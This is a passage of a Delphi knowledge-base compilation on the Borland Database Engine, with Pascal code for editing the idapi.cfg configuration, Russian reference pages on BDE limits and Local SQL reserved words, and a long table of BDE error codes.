    FreeMem(pCfgDes, sizeof(CFGDesc));
    if (h <> nil) then
      DbiCloseCursor(h);
  end;
end;

procedure TBDEConfig.SetLocalShare(Value: Boolean);
begin
  UpdateCfgFile('\SYSTEM\INIT', 'LOCAL SHARE', BooleanToStr(Value));
  FLocalShare := Value;
end;

procedure TBDEConfig.SetMinBufSize(Value: Integer);
begin
  UpdateCfgFile('\SYSTEM\INIT', 'MINBUFSIZE', IntToStr(Value));
  FMinBufSize := Value;
end;

procedure TBDEConfig.SetMaxBufSize(Value: Integer);
begin
  UpdateCfgFile('\SYSTEM\INIT', 'MAXBUFSIZE', IntToStr(Value));
  FMaxBufSize := Value;
end;

procedure TBDEConfig.SetSystemLangDriver(Value: string);
begin
  UpdateCfgFile('\SYSTEM\INIT', 'LANGDRIVER', Value);
  FSystemLangDriver := Value;
end;

procedure TBDEConfig.SetParadoxLangDriver(Value: string);
begin
  UpdateCfgFile('\DRIVERS\PARADOX\INIT', 'LANGDRIVER', Value);
  FParadoxLangDriver := Value;
end;

procedure TBDEConfig.SetMaxFileHandles(Value: Integer);
begin
  UpdateCfgFile('\SYSTEM\INIT', 'MAXFILEHANDLES', IntToStr(Value));
  FMaxFileHandles := Value;
end;

procedure TBDEConfig.SetNetFileDir(Value: string);
begin
  UpdateCfgFile('\DRIVERS\PARADOX\INIT', 'NET DIR', Value);
  FNetFileDir := Value;
end;

procedure TBDEConfig.SetTableLevel(Value: string);
begin
  UpdateCfgFile('\DRIVERS\PARADOX\TABLE CREATE', 'LEVEL', Value);
  FTableLevel := Value;
end;

procedure TBDEConfig.SetBlockSize(Value: Integer);
begin
  UpdateCfgFile('\DRIVERS\PARADOX\TABLE CREATE', 'BLOCK SIZE', IntToStr(Value));
  FBlockSize := Value;
end;

procedure TBDEConfig.SetStrictIntegrity(Value: Boolean);
begin
  UpdateCfgFile('\DRIVERS\PARADOX\TABLE CREATE', 'STRICTINTEGRITY',
    BooleanToStr(Value));
  FStrictIntegrity := Value;
end;

procedure TBDEConfig.SetDefaultDriver(Value: string);
begin
  UpdateCfgFile('\SYSTEM\INIT', 'DEFAULT DRIVER', Value);
  FDefaultDriver := Value;
end;

procedure TBDEConfig.SetAutoODBC(Value: Boolean);
begin
  UpdateCfgFile('\SYSTEM\INIT', 'AUTO ODBC', BooleanToStr(Value));
  FAutoODBC := Value;
end;

procedure TBDEConfig.UpdateCFGFile;
var
  h: hDbiCur;
  pCfgDes: pCFGDesc;
  pPath: array[0..127] of char;
begin
  StrPCopy(pPath, Path);
  Check(DbiOpenCfgInfoList(nil, dbiREADWRITE, cfgPersistent, pPath, h));
  GetMem(pCfgDes, sizeof(CFGDesc));
  try
    FillChar(pCfgDes^, sizeof(CFGDesc), #0);
    while (DbiGetNextRecord(h, dbiWRITELOCK, pCfgDes, nil) = DBIERR_NONE) do
    begin
      if StrPas(pCfgDes^.szNodeName) = item then
      begin
        StrPCopy(pCfgDes^.szValue, value);
        Check(DbiModifyRecord(h, pCfgDes, True));
      end;
    end;
  finally
    FreeMem(pCfgDes, sizeof(CFGDesc));
    if (h <> nil) then
      DbiCloseCursor(h);
  end;
end;

constructor TBDEConfig.Create(AOwner: TComponent);
begin
  inherited Create(AOwner);
  Init;
end;

destructor TBDEConfig.Destroy;
begin
  inherited Destroy;
end;

end.

Problem/Question/Abstract:

How can my program access the idapi.cfg file and probably change its INIT (Local Share etc.) section?

Answer:

For 32bit only. You can of course use the registry to determine the default CFG File instead of passing it as a parameter here:

procedure ModifyCFG(const ACFGFile, AValue, AEntry, ACFGPath: string; SaveAsWin31:
  bool);
var
  hCfg: hDBICfg;
  pRecBuf, pTmpRec: pByte;
  pFields: pFLDDesc;
  Count: word;
  i: integer;
  Save: boolean;
  Reg: TRegistry;
const
  RegSaveWIN31: array[bool] of string = ('WIN32', 'WIN31');
begin
  hCfg := nil;
  pFields := nil;
  pRecBuf := nil;
  Save := False;
  Check(DbiOpenConfigFile(PChar(ACFGFile), False, hCfg));
  try
    Check(DbiCfgPosition(hCfg, PChar(ACfgPath))); {neccessary...?}
    Check(DbiCfgGetRecord(hCfg, PChar(ACfgPath), Count, nil, nil));
    pRecBuf := AllocMem(succ(Count) * 128); {128 additional safety...}
    pFields := AllocMem(Count * sizeof(FLDDesc));
    Check(DbiCfgGetRecord(hCfg, PChar(ACfgPath), Count, pFields, pRecBuf));
    for i := 1 to Count do
    begin
      if StrPas(pFields^.szName) = AEntry then
      begin
        pTmpRec := pRecBuf;
        Inc(pTmpRec, 128 * (i - 1));
        StrPCopy(PChar(pTmpRec), AValue);
      end;
      inc(pFields);
    end;
    dec(pFields, Count);
    Check(DbiCfgModifyRecord(hCfg, PChar(ACfgPath), Count, pFields, pRecBuf));
    Save := True;
  finally
    if hCfg <> nil then
      Check(DbiCloseConfigFile(hCfg, Save, True, SaveAsWin31));
    if pRecBuf <> nil then
      FreeMem(pRecBuf, succ(Count) * 128);
    if pFields <> nil then
      FreeMem(pFields, Count * sizeof(FLDDesc));
  end;
  {update registry SAVECONFIG value}
  Reg := TRegistry.Create;
  try
    Reg.RootKey := HKEY_LOCAL_MACHINE;
    if not Reg.OpenKey('SOFTWARE\Borland\Database Engine', False) then
      ShowMessage('Configuration Path not found')
    else
    begin
      Reg.LazyWrite := False;
      Reg.WriteString('SAVECONFIG', RegSaveWIN31[SaveAsWin31]);
      Reg.CloseKey;
    end;
  finally
    Reg.Free;
  end;
  {DbiExit/Init to re-read cfg... make absolutely sure there are no active
   DB components when doing this (it's is best done by a loader app)}
  Session.Close;
  Session.Open;
end;

ACFGPath would be '\SYSTEM\INIT\', AEntry would be 'LOCAL SHARE' und AValue would be 'TRUE' or 'FALSE'.
Взято с Delphi Knowledge Base: http://www.baltsoft.com/


Справочные материалы по BDE

Cодержание раздела:

Каковы текущие ограничения BDE?
Cписок зарезервированных слов Local SQL BDE
Список ошибок BDE
Протокол блокировки BDE
Архитектура BDE и его особенности при работе с SQL-серверами(статья) New!
Конфликт IDAPI German и English New!

Обзор BDE API
· Работа с базами данных
· Конфигурация и настройка
· Работа с сессиями
· Обработка исключений
· Поддержка блокировок
· Поддержка курсоров
· Работа с индексами
· Работа с запросами
· Работа с таблицами
· Доступ к данным
· Управление транзакциями
· Схемы и возможности
· Работа с форматами данных

Архитектура BDE (статья)


Каковы текущие ограничения BDE?

Основные ограничения BDE:
48 клиентов в системе;
32 сессии на одного клиента (для версии 3.5 и ниже, 16 Bit, 32 Bit)
256 сессий на одного клиента (для версии 4.0 и выше, 32 Bit)
32 открытых баз данных на сессию (для версии 3.5 и ниже, 16 Bit, 32 Bit)
2048 открытых баз данных на сессию (для версии 4.0 и выше, 32 Bit)
32 загруженных драйвера
64 сессии в системе (для версии 3.5 и ниже, 16 Bit, 32 Bit)
12288 сессии в системе (для версии 4.0 и выше, 32 Bit)
4000 курсоров на сессию
16 вхождений в стеке ошибок
8 типов таблиц на один драйвер
16 типов полей на один драйвер
8 типов индексов на один драйвер
48K Размер конфигурационного файла (IDAPI.CFG)
64K Максимальный размер оператора SQL при RequestLive=False
4K Максимальный размер оператора SQL при RequestLive=True (для версии 4.0 и ниже, 16/32 Bit)
6K Максимальный размер оператора SQL при RequestLive=True (для версии 4.01 и выше, 32 Bit)
16K Размер буфера записи (SQL и ODBC)
31 Размер имени таблицы и имени поля в символах
64 Размер имени хранимой процедуры в символах
16 Полей в ключе
3 Размер расширения имени файла в символах
260 Длина имени таблицы в символах (некоторые сервера могут иметь другие ограничения)
260 Длина полного имени файла и пути файловой системы в символах

Ограничения Paradox:
127 открытых таблиц в системе (для версии 4.0 и ниже, 16/32 Bit)
254 открытых таблиц в системе (для версии 4.01 и выше, 32 Bit)
64 блокировки на запись на одну таблицу (16Bit) на одну сессию
255 блокировок на запись на одну таблицу (32Bit) на одну сессию
255 записей, учавствующих в транзакции на таблицу (32 Bit)
512 открытых физически файлов (DB, PX, MB, X??, Y??, VAL, TV) (для версии 4.0 и ниже, 16/32 Bit)
1024 открытых физически файлов (DB, PX, MB, X??, Y??, VAL, TV) (для версии 4.01 и выше, 32 Bit)
300 пользователей в одном файле PDOXUSRS.NET
255 полей в таблице
255 размер символьных полей
2 миллиарда записей в таблице
2 миллиарда байт в .DB (таблица) файле
10800 байт на запись для индексированных таблиц
32750 байт на запись для неиндексированных таблиц
127 вторичных индексов на таблицу
16 полей на индекс
255 одновременно работающих пользователей на таблицу
256 Мегабайт данных на одно BLOb поле
100 паролей на сессию
15 длина пароля
63 паролей на таблицу
159 полей с проверками корректности (validity check) (32 Bit)
63 поля с проверками корректности (validity check) (16 Bit)

Ограничения dBase:
256 открытых таблиц dBASE на систему (16 Bit)
350 открытых таблиц dBASE на систему (BDE 3.0 - 4.0, 32 Bit)
512 открытых таблиц dBASE на систему (BDE 4.01 и выше, 32 Bit)
100 блокировок на запись на одной таблице dBASE (16 and 32 Bit)
100 записей, учавствующих в транзакции на таблицу (32 Bit)
1 миллиард записей в таблице
2 миллиарда байт в файле .DBF (таблица)
4000 Размер записи в байтах (dBASE 4)
32767 Размер записи в байтах (dBASE for Windows)
255 Количество полей в таблице (dBASE 4)
1024 Количество полей в таблице (dBASE for Windows)
47 Количество тэгов индексов на один .MDX-файл.
254 Размер символьных полей
10 открытых основных индексов (.MDX) на таблицу
220 Длина ключевого выражения в символах

Взято из Akzhan's Database Delphi


Cписок зарезервированных слов Local SQL BDE

ACTIVE, ADD, ALL, AFTER, ALTER, AND, ANY, AS, ASC, ASCENDING,
 AT, AUTO, AUTOINC, AVG

 BASE_NAME, BEFORE, BEGIN, BETWEEN, BLOB, BOOLEAN, BOTH, BY,
 BYTES

 CACHE, CAST, CHAR, CHARACTER, CHECK, CHECK_POINT_LENGTH,
 COLLATE, COLUMN, COMMIT, COMMITTED, COMPUTED, CONDITIONAL,
 CONSTRAINT, CONTAINING, COUNT, CREATE, CSTRING, CURRENT,
 CURSOR

 DATABASE, DATE, DAY, DEBUG, DEC, DECIMAL, DECLARE, DEFAULT,
 DELETE, DESC, DESCENDING, DISTINCT, DO, DOMAIN, DOUBLE, DROP

 ELSE, END, ENTRY_POINT, ESCAPE, EXCEPTION, EXECUTE, EXISTS,
 EXIT, EXTERNAL, EXTRACT

 FILE, FILTER, FLOAT, FOR, FOREIGN, FROM, FULL, FUNCTION

 GDSCODE, GENERATOR, GEN_ID, GRANT, GROUP,
 GROUP_COMMIT_WAIT_TIME

 HAVING, HOUR

 IF, IN, INT, INACTIVE, INDEX, INNER, INPUT_TYPE, INSERT,
 INTEGER, INTO, IS, ISOLATION

 JOIN

 KEY

 LONG, LENGTH, LOGFILE, LOWER, LEADING, LEFT, LEVEL, LIKE,
 LOG_BUFFER_SIZE

 MANUAL, MAX, MAXIMUM_SEGMENT, MERGE, MESSAGE, MIN, MINUTE,
 MODULE_NAME, MONEY, MONTH

 NAMES, NATIONAL, NATURAL, NCHAR, NO, NOT, NULL,
 NUM_LOG_BUFFERS, NUMERIC

 OF, ON, ONLY, OPTION, OR, ORDER, OUTER, OUTPUT_TYPE, OVERFLOW

 PAGE_SIZE, PAGE, PAGES, PARAMETER, PASSWORD, PLAN, POSITION,
 POST_EVENT, PRECISION, PROCEDURE, PROTECTED, PRIMARY,
 PRIVILEGES

 RAW_PARTITIONS, RDB$DB_KEY, READ, REAL, RECORD_VERSION,
 REFERENCES, RESERV, RESERVING, RETAIN, RETURNING_VALUES,
 RETURNS, REVOKE, RIGHT, ROLLBACK

 SECOND, SEGMENT, SELECT, SET, SHARED, SHADOW, SCHEMA,
 SINGULAR, SIZE, SMALLINT, SNAPSHOT, SOME, SORT, SQLCODE,
 STABILITY, STARTING, STARTS, STATISTICS, SUB_TYPE, SUBSTRING,
 SUM, SUSPEND

 TABLE, THEN, TIME, TIMESTAMP, TIMEZONE_HOUR, TIMEZONE_MINUTE,
 TO, TRAILING, TRANSACTION, TRIGGER, TRIM

 UNCOMMITTED, UNION, UNIQUE, UPDATE, UPPER, USER

 VALUE, VALUES, VARCHAR, VARIABLE, VARYING, VIEW

 WAIT, WHEN, WHERE, WHILE, WITH, WORK, WRITE

 YEAR

 ||, -, *, /, <>, <, >, ,(comma), =, <=, >=, ~=, !=, ^=, (, )

Взято с сайта http://www.delphikingdom.ru/


Список ошибок BDE

$0000 (0) = Successful completion.
$0021 (33) = System Error
$0022 (34) = Object of Interest Not Found
$0023 (35) = Physical Data Corruption
$0024 (36) = I/O Related Error
$0025 (37) = Resource or Limit Error
$0026 (38) = Data Integrity Violation
$0027 (39) = Invalid Request
$0028 (40) = Lock Violation
$0029 (41) = Access/Security Violation
$002A (42) = Invalid Context
$002B (43) = OS Error
$002C (44) = Network Error
$002D (45) = Optional Parameter
$002E (46) = Query Processor
$002F (47) = Version Mismatch
$0030 (48) = Capability Not Supported
$0031 (49) = System Configuration Error
$0032 (50) = Warning
$0033 (51) = Miscellaneous
$0034 (52) = Compatibility Error
$003E (62) = Driver Specific Error
$003F (63) = Internal Symbol
$2101 (8449) = Cannot open a system file.
$2102 (8450) = I/O error on a system file.
$2103 (8451) = Data structure corruption.
$2104 (8452) = Cannot find Engine configuration file.
$2105 (8453) = Cannot write to Engine configuration file.
$2106 (8454) = Cannot initialize with different configuration file.
$2107 (8455) = System has been illegally re-entered.
$2108 (8456) = Cannot locate IDAPI32 .DLL.
$2109 (8457) = Cannot load IDAPI32 .DLL.
$210A (8458) = Cannot load an IDAPI service library.
$210B (8459) = Cannot create or open temporary file.
$2201 (8705) = At beginning of table.
$2202 (8706) = At end of table.
$2203 (8707) = Record moved because key value changed.
$2204 (8708) = Record/Key deleted.
$2205 (8709) = No current record.
$2206 (8710) = Could not find record.
$2207 (8711) = End of BLOB.
$2208 (8712) = Could not find object.
$2209 (8713) = Could not find family member.
$220A (8714) = BLOB file is missing.
$220B (8715) = Could not find language driver.
$2301 (8961) = Corrupt table/index header.
$2302 (8962) = Corrupt file - other than header.
$2303 (8963) = Corrupt Memo/BLOB file.
$2305 (8965) = Corrupt index.
$2306 (8966) = Corrupt lock file.
$2307 (8967) = Corrupt family file.
$2308 (8968) = Corrupt or missing .VAL file.
$2309 (8969) = Foreign index file format.
$2401 (9217) = Read failure.
$2402 (9218) = Write failure.
$2403 (9219) = Cannot access directory.
$2404 (9220) = File Delete operation failed.
$2405 (9221) = Cannot access file.
$2406 (9222) = Access to table disabled because of previous error.
$2501 (9473) = Insufficient memory for this operation.
$2502 (9474) = Not enough file handles.
$2503 (9475) = Insufficient disk space.
$2504 (9476) = Temporary table resource limit.
$2505 (9477) = Record size is too big for table.
$2506 (9478) = Too many open cursors.
$2507 (9479) = Table is full.
$2508 (9480) = Too many sessions from this workstation.
$2509 (9481) = Serial number limit (Paradox).
$250A (9482) = Some internal limit (see context).
$250B (9483) = Too many open tables.
$250C (9484) = Too many cursors per table.
$250D (9485) = Too many record locks on table.
$250E (9486) = Too many clients.
$250F (9487) = Too many indexes on table.
$2510 (9488) = Too many sessions.
$2511 (9489) = Too many open databases.
$2512 (9490) = Too many passwords.
$2513 (9491) = Too many active drivers.
$2514 (9492) = Too many fields in Table Create.
$2515 (9493) = Too many table locks.
$2516 (9494) = Too many open BLOBs.
$2517 (9495) = Lock file has grown too large.
$2518 (9496) = Too many open queries.
$251A (9498) = Too many BLOBs.
$251B (9499) = File name is too long for a Paradox version 5.0 table.
$251C (9500) = Row fetch limit exceeded.
$251D (9501) = Long name not allowed for this tablelevel.
$2601 (9729) = Key violation.
$2602 (9730) = Minimum validity check failed.
$2603 (9731) = Maximum validity check failed.
$2604 (9732) = Field value required.
$2605 (9733) = Master record missing.
$2606 (9734) = Master has detail records. Cannot delete or modify.
$2607 (9735) = Master table level is incorrect.
$2608 (9736) = Field value out of lookup table range.
$2609 (9737) = Lookup Table Open operation failed.
$260A (9738) = Detail Table Open operation failed.
$260B (9739) = Master Table Open operation failed.
$260C (9740) = Field is blank.
$260D (9741) = Link to master table already defined.
$260E (9742) = Master table is open.
$260F (9743) = Detail table(s) exist.
$2610 (9744) = Master has detail records. Cannot empty it.
$2611 (9745) = Self referencing referential integrity must be entered one at a time with no other changes to the table
$2612 (9746) = Detail table is open.
$2613 (9747) = Cannot make this master a detail of another table if its details are not empty.
$2614 (9748) = Referential integrity fields must be indexed.
$2615 (9749) = A table linked by referential integrity requires password to open.
$2616 (9750) = Field(s) linked to more than one master.
$2617 (9751) = Expression validity check failed.
$2701 (9985) = Number is out of range.
$2702 (9986) = Invalid parameter.
$2703 (9987) = Invalid file name.
$2704 (9988) = File does not exist.
$2705 (9989) = Invalid option.
$2706 (9990) = Invalid handle to the function.
$2707 (9991) = Unknown table type.
$2708 (9992) = Cannot open file.
$2709 (9993) = Cannot redefine primary key.
$270A (9994) = Cannot change this RINTDesc.
$270B (9995) = Foreign and primary key do not match.
$270C (9996) = Invalid modify request.
$270D (9997) = Index does not exist.
$270E (9998) = Invalid offset into the BLOB.
$270F (9999) = Invalid descriptor number.
$2710 (10000) = Invalid field type.
$2711 (10001) = Invalid field descriptor.
$2712 (10002) = Invalid field transformation.
$2713 (10003) = Invalid record structure.
$2714 (10004) = Invalid descriptor.
$2715 (10005) = Invalid array of index descriptors.
$2716 (10006) = Invalid array of validity check descriptors.
$2717 (10007) = Invalid array of referential integrity descriptors.
$2718 (10008) = Invalid ordering of tables during restructure.
$2719 (10009) = Name not unique in this context.
$271A (10010) = Index name required.
$271B (10011) = Invalid session handle.
$271C (10012) = invalid restructure operation.
$271D (10013) = Driver not known to system.
$271E (10014) = Unknown database.
$271F (10015) = Invalid password given.
$2720 (10016) = No callback function.
$2721 (10017) = Invalid callback buffer length.
$2722 (10018) = Invalid directory.
$2723 (10019) = Translate Error. Value out of bounds.
$2724 (10020) = Cannot set cursor of one table to another.
$2725 (10021) = Bookmarks do not match table.
$2726 (10022) = Invalid index/tag name.
$2727 (10023) = Invalid index descriptor.
$2728 (10024) = Table does not exist.
$2729 (10025) = Table has too many users.
$272A (10026) = Cannot evaluate Key or Key does not pass filter condition.
$272B (10027) = Index already exists.
$272C (10028) = Index is open.
$272D (10029) = Invalid BLOB length.
$272E (10030) = Invalid BLOB handle in record buffer.
$272F (10031) = Table is open.
$2730 (10032) = Need to do (hard) restructure.
$2731 (10033) = Invalid mode.
$2732 (10034) = Cannot close index.
$2733 (10035) = Index is being used to order table.
$2734 (10036) = Unknown user name or password.
$2735 (10037) = Multi-level cascade is not supported.
$2736 (10038) = Invalid field name.
$2737 (10039) = Invalid table name.
$2738 (10040) = Invalid linked cursor expression.
$2739 (10041) = Name is reserved.
$273A (10042) = Invalid file extension.
$273B (10043) = Invalid language Driver.
$273C (10044) = Alias is not currently opened.
$273D (10045) = Incompatible record structures.
$273E (10046) = Name is reserved by DOS.
$273F (10047) = Destination must be indexed.
$2740 (10048) = Invalid index type
$2741 (10049) = Language Drivers of Table and Index do not match
$2742 (10050) = Filter handle is invalid
$2743 (10051) = Invalid Filter
$2744 (10052) = Invalid table create request
$2745 (10053) = Invalid table delete request
$2746 (10054) = Invalid index create request
$2747 (10055) = Invalid index delete request
$2748 (10056) = Invalid table specified
$274A (10058) = Invalid Time.
$274B (10059) = Invalid Date.
$274C (10060) = Invalid Datetime
$274D (10061) = Tables in different directories
$274E (10062) = Mismatch in the number of arguments
$274F (10063) = Function not found in service library.
$2750 (10064) = Must use baseorder for this operation.
$2751 (10065) = Invalid procedure name
$2752 (10066) = The field map is invalid.
$2801 (10241) = Record locked by another user.
$2802 (10242) = Unlock failed.
$2803 (10243) = Table is busy.
$2804 (10244) = Directory is busy.
$2805 (10245) = File is locked.
$2806 (10246) = Directory is locked.
$2807 (10247) = Record already locked by this session.
$2808 (10248) = Object not locked.
$2809 (10249) = Lock time out.
$280A (10250) = Key group is locked.
$280B (10251) = Table lock was lost.
$280C (10252) = Exclusive access was lost.
$280D (10253) = Table cannot be opened for exclusive use.
$280E (10254) = Conflicting record lock in this session.
$280F (10255) = A deadlock was detected.
$2810 (10256) = A user transaction is already in progress.
$2811 (10257) = No user transaction is currently in progress.
$2812 (10258) = Record lock failed.
$2813 (10259) = Couldn't perform the edit because another user changed the record.
$2814 (10260) = Couldn't perform the edit because another user deleted or moved the record.
$2901 (10497) = Insufficient field rights for operation.
$2902 (10498) = Insufficient table rights for operation. Password required.
$2903 (10499) = Insufficient family rights for operation.
$2904 (10500) = This directory is read only.
$2905 (10501) = Database is read only.
$2906 (10502) = Trying to modify read-only field.
$2907 (10503) = Encrypted dBASE tables not supported.
$2908 (10504) = Insufficient SQL rights for operation.
$2A01 (10753) = Field is not a BLOB.
$2A02 (10754) = BLOB already opened.
$2A03 (10755) = BLOB not opened.
$2A04 (10756) = Operation not applicable.
$2A05 (10757) = Table is not indexed.
$2A06 (10758) = Engine not initialized.
$2A07 (10759) = Attempt to re-initialize Engine.
$2A08 (10760) = Attempt to mix objects from different sessions.
$2A09 (10761) = Paradox driver not active.
$2A0A (10762) = Driver not loaded.
$2A0B (10763) = Table is read only.
$2A0C (10764) = No associated index.
$2A0D (10765) = Table(s) open. Cannot perform this operation.
$2A0E (10766) = Table does not support this operation.
$2A0F (10767) = Index is read only.
$2A10 (10768) = Table does not support this operation because it is not uniquely indexed.
$2A11 (10769) = Operation must be performed on the current session.
$2A12 (10770) = Invalid use of keyword.
$2A13 (10771) = Connection is in use by another statement.
$2A14 (10772) = Passthrough SQL connection must be shared
$2B01 (11009) = Invalid function number.
$2B02 (11010) = File or directory does not exist.
$2B03 (11011) = Path not found.
$2B04 (11012) = Too many open files. You may need to increase MAXFILEHANDLE limit in IDAPI configuration.
$2B05 (11013) = Permission denied.
$2B06 (11014) = Bad file number.
$2B07 (11015) = Memory blocks destroyed.
$2B08 (11016) = Not enough memory.
$2B09 (11017) = Invalid memory block address.
$2B0A (11018) = Invalid environment.
$2B0B (11019) = Invalid format.
$2B0C (11020) = Invalid access code.
$2B0D (11021) = Invalid data.
$2B0F (11023) = Device does not exist.
$2B10 (11024) = Attempt to remove current directory.
$2B11 (11025) = Not same device.
$2B12 (11026) = No more files.
$2B13 (11027) = Invalid argument.
$2B14 (11028) = Argument list is too long.
$2B15 (11029) = Execution format error.
$2B16 (11030) = Cross-device link.
$2B21 (11041) = Math argument.
$2B22 (11042) = Result is too large.
$2B23 (11043) = File already exists.
$2B27 (11047) = Unknown internal operating system error.
$2B32 (11058) = Share violation.
$2B33 (11059) = Lock violation.
$2B34 (11060) = Critical DOS Error.
$2B35 (11061) = Drive not ready.
$2B64 (11108) = Not exact read/write.
$2B65 (11109) = Operating system network error.
$2B66 (11110) = Error from NOVELL file server.
$2B67 (11111) = NOVELL server out of memory.
$2B68 (11112) = Record already locked by this workstation.
$2B69 (11113) = Record not locked.
$2C01 (11265) = Network initialization failed.
$2C02 (11266) = Network user limit exceeded.
$2C03 (11267) = Wrong .NET file version.
$2C04 (11268) = Cannot lock network file.
$2C05 (11269) = Directory is not private.
$2C06 (11270) = Directory is controlled by other .NET file.
$2C07 (11271) = Unknown network error.
$2C08 (11272) = Not initialized for accessing network files.
$2C09 (11273) = SHARE not loaded. It is required to share local files.
$2C0A (11274) = Not on a network. Not logged in or wrong network driver.
$2C0B (11275) = Lost communication with SQL server.
$2C0D (11277) = Cannot locate or connect to SQL server.
$2C0E (11278) = Cannot locate or connect to network server.
$2D01 (11521) = Optional parameter is required.
$2D02 (11522) = Invalid optional parameter.
$2E01 (11777) = obsolete
$2E02 (11778) = obsolete
$2E03 (11779) = Ambiguous use of ! (inclusion operator).
$2E04 (11780) = obsolete
$2E05 (11781) = obsolete
$2E06 (11782) = A SET operation cannot be included in its own grouping.
$2E07 (11783) = Only numeric and date/time fields can be averaged.
$2E08 (11784) = Invalid expression.
$2E09 (11785) = Invalid OR expression.
$2E0A (11786) = obsolete
$2E0B (11787) = bitmap
$2E0C (11788) = CALC expression cannot be used in INSERT, DELETE, CHANGETO and SET rows.
$2E0D (11789) = Type error in CALC expression.
$2E0E (11790) = CHANGETO can be used in only one query form at a time.
$2E0F (11791) = Cannot modify CHANGED table.
$2E10 (11792) = A field can contain only one CHANGETO expression.
$2E11 (11793) = A field cannot contain more than one expression to be inserted.
$2E12 (11794) = obsolete
$2E13 (11795) = CHANGETO must be followed by the new value for the field.
$2E14 (11796) = Checkmark or CALC expressions cannot be used in FIND queries.
$2E15 (11797) = Cannot perform operation on CHANGED table together with a CHANGETO query.
$2E16 (11798) = chunk
$2E17 (11799) = More than 255 fields in ANSWER table.
$2E18 (11800) = AS must be followed by the name for the field in the ANSWER table.
$2E19 (11801) = DELETE can be used in only one query form at a time.
$2E1A (11802) = Cannot perform operation on DELETED table together with a DELETE query.
$2E1B (11803) = Cannot delete from the DELETED table.
$2E1C (11804) = Example element is used in two fields with incompatible types or with a BLOB.
$2E1D (11805) = Cannot use example elements in an OR expression.
$2E1E (11806) = Expression in this field has the wrong type.
$2E1F (11807) = Extra comma found.
$2E20 (11808) = Extra OR found.
$2E21 (11809) = One or more query rows do not contribute to the ANSWER.
$2E22 (11810) = FIND can be used in only one query form at a time.
$2E23 (11811) = FIND cannot be used with the ANSWER table.
$2E24 (11812) = A row with GROUPBY must contain SET operations.
$2E25 (11813) = GROUPBY can be used only in SET rows.
$2E26 (11814) = Use only INSERT, DELETE, SET or FIND in leftmost column.
$2E27 (11815) = Use only one INSERT, DELETE, SET or FIND per line.
$2E28 (11816) = Syntax error in expression.
$2E29 (11817) = INSERT can be used in only one query form at a time.
$2E2A (11818) = Cannot perform operation on INSERTED table together with an INSERT query.
$2E2B (11819) = INSERT, DELETE, CHANGETO and SET rows may not be checked.
$2E2C (11820) = Field must contain an expression to insert (or be blank).
$2E2D (11821) = Cannot insert into the INSERTED table.
$2E2E (11822) = Variable is an array and cannot be accessed.
$2E2F (11823) = Label
$2E30 (11824) = Rows of example elements in CALC expression must be linked.
$2E31 (11825) = Variable name is too long.
$2E32 (11826) = Query may take a long time to process.
$2E33 (11827) = Reserved word or one that can't be used as a variable name.
$2E34 (11828) = Missing comma.
$2E35 (11829) = Missing ).
$2E36 (11830) = Missing right quote.
$2E37 (11831) = Cannot specify duplicate column names.
$2E38 (11832) = Query has no checked fields.
$2E39 (11833) = Example element has no defining occurrence.
$2E3A (11834) = No grouping is defined for SET operation.
$2E3B (11835) = Query makes no sense.
$2E3C (11836) = Cannot use patterns in this context.
$2E3D (11837) = Date does not exist.
$2E3E (11838) = Variable has not been assigned a value.
$2E3F (11839) = Invalid use of example element in summary expression.
$2E40 (11840) = Incomplete query statement. Query only contains a SET definition.
$2E41 (11841) = Example element with ! makes no sense in expression.
$2E42 (11842) = Example element cannot be used more than twice with a ! query.
$2E43 (11843) = Row cannot contain expression.
$2E44 (11844) = obsolete
$2E45 (11845) = obsolete
$2E46 (11846) = No permission to insert or delete records.
$2E47 (11847) = No permission to modify field.
$2E48 (11848) = Field not found in table.
$2E49 (11849) = Expecting a column separator in table header.
$2E4A (11850) = Expecting a column separator in table.
$2E4B (11851) = Expecting column name in table.
$2E4C (11852) = Expecting table name.
$2E4D (11853) = Expecting consistent number of columns in all rows of table.
$2E4E (11854) = Cannot open table.
$2E4F (11855) = Field appears more than once in table.
$2E50 (11856) = This DELETE, CHANGE or INSERT query has no ANSWER.
$2E51 (11857) = Query is not prepared. Properties unknown.
$2E52 (11858) = DELETE rows cannot contain quantifier expression.
$2E53 (11859) = Invalid expression in INSERT row.
$2E54 (11860) = Invalid expression in INSERT row.
$2E55 (11861) = Invalid expression in SET definition.
$2E56 (11862) = row use
$2E57 (11863) = SET keyword expected.
$2E58 (11864) = Ambiguous use of example element.
$2E59 (11865) = obsolete
$2E5A (11866) = obsolete
$2E5B (11867) = Only numeric fields can be summed.
$2E5C (11868) = Table is write protected.
$2E5D (11869) = Token not found.
$2E5E (11870) = Cannot use example element with ! more than once in a single row.
$2E5F (11871) = Type mismatch in expression.
$2E60 (11872) = Query appears to ask two unrelated questions.
$2E61 (11873) = Unused SET row.
$2E62 (11874) = INSERT, DELETE, FIND, and SET can be used only in the leftmost column.
$2E63 (11875) = CHANGETO cannot be used with INSERT, DELETE, SET or FIND.
$2E64 (11876) = Expression must be followed by an example element defined in a SET.
$2E65 (11877) = Lock failure.
$2E66 (11878) = Expression is too long.
$2E67 (11879) = Refresh exception during query.
$2E68 (11880) = Query canceled.
$2E69 (11881) = Unexpected Database Engine error.
$2E6A (11882) = Not enough memory to finish operation.
$2E6B (11883) = Unexpected exception.
$2E6C (11884) = Feature not implemented yet in query.
$2E6D (11885) = Query format is not supported.
$2E6E (11886) = Query string is empty.
$2E6F (11887) = Attempted to prepare an empty query.
$2E70 (11888) = Buffer too small to contain query string.
$2E71 (11889) = Query was not previously parsed or prepared.
$2E72 (11890) = Function called with bad query handle.
$2E73 (11891) = QBE syntax error.
$2E74 (11892) = Query extended syntax field count error.
$2E75 (11893) = Field name in sort or field clause not found.
$2E76 (11894) = Table name in sort or field clause not found.
$2E77 (11895) = Operation is not supported on BLOB fields.
$2E78 (11896) = General BLOB error.
$2E79 (11897) = Query must be restarted.
$2E7A (11898) = Unknown answer table type.
$2E96 (11926) = Blob cannot be used as grouping field.
$2E97 (11927) = Query properties have not been fetched.
$2E98 (11928) = Answer table is of unsuitable type.
$2E99 (11929) = Answer table is not yet supported under server alias.
$2E9A (11930) = Non-null blob field required. Can't insert records
$2E9B (11931) = Unique index required to perform changeto
$2E9C (11932) = Unique index required to delete records
$2E9D (11933) = Update of table on the server failed.
$2E9E (11934) = Can't process this query remotely.
$2E9F (11935) = Unexpected end of command.
$2EA0 (11936) = Parameter not set in query string.
$2EA1 (11937) = Query string is too long.
$2EAA (11946) = No such table or correlation name.
$2EAB (11947) = Expression has ambiguous data type.
$2EAC (11948) = Field in order by must be in result set.
$2EAD (11949) = General parsing error.
